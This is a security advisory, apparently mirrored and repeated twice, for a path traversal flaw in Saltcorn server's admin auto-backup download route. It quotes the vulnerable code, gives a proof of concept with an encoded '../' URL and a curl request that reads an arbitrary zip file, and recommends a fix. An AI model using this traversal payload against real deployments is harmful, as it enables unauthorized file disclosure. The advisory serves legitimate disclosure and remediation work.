Headline

GHSA-277h-px4m-62q8: @saltcorn/server arbitrary file zip read and download when downloading auto backups

Summary

A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.

Details

file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682

router.get(
  "/auto-backup-download/:filename",
  isAdmin,
  error_catcher(async (req, res) => {
    const { filename } = req.params; // [1] source
    [...]
    if (
      !isRoot ||
      !(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
    ) {
      res.redirect("/admin/backup");
      return;
    }
    const auto_backup_directory = getState().getConfig("auto_backup_directory");
    res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
  })
);

Steps to reproduce (PoC)

create a file with .zip extension under /tmp folder:

echo "secret12345" > /tmp/secret.zip

log into the application as an admin user
visit the url http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip
download the zip file and then check if the zip was indeed downloaded:

cat secret.zip
secret12345

Alternatively send the following request to retrieve the file just created.

curl -i -X $'GET' \
    -H $'Host: localhost:3000' \
    -H $'Connection: close' \
    -b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
    $'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'

NOTE: To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.

Impact

Arbitrary zip files download (information disclosure).

Recommended Mitigation

Resolve the filename parameter before checking if it starts with backup_file_prefix .

1 month ago

ghsa

Open in Source

#js #git #perl

Summary

Details

file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682

router.get( "/auto-backup-download/:filename", isAdmin, error_catcher(async (req, res) => { const { filename } = req.params; // [1] source […] if ( !isRoot || !(filename.startsWith(backup_file_prefix) && filename.endsWith(“.zip”)) // [2] ) { res.redirect(“/admin/backup”); return; } const auto_backup_directory = getState().getConfig(“auto_backup_directory”); res.download(path.join(auto_backup_directory, filename), filename); // [3] sink }) );

Steps to reproduce (PoC)

create a file with .zip extension under /tmp folder:

echo “secret12345” > /tmp/secret.zip

log into the application as an admin user
visit the url http://localhost:3000/admin/auto-backup-download/sc-backup-%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2ftmp%2fsecret.zip
download the zip file and then check if the zip was indeed downloaded:

cat secret.zip secret12345

Alternatively send the following request to retrieve the file just created.

curl -i -X $’GET’ \ -H $’Host: localhost:3000’ \ -H $’Connection: close’ \ -b $’connect.sid=VALID_CONNECT_SID_COOKIE’ \ $’http://localhost:3000/admin/auto-backup-download/sc-backup-%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2ftmp%2fsecret.zip’

NOTE:
To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.

Impact

Arbitrary zip files download (information disclosure).

Recommended Mitigation

Resolve the filename parameter before checking if it starts with backup_file_prefix .

References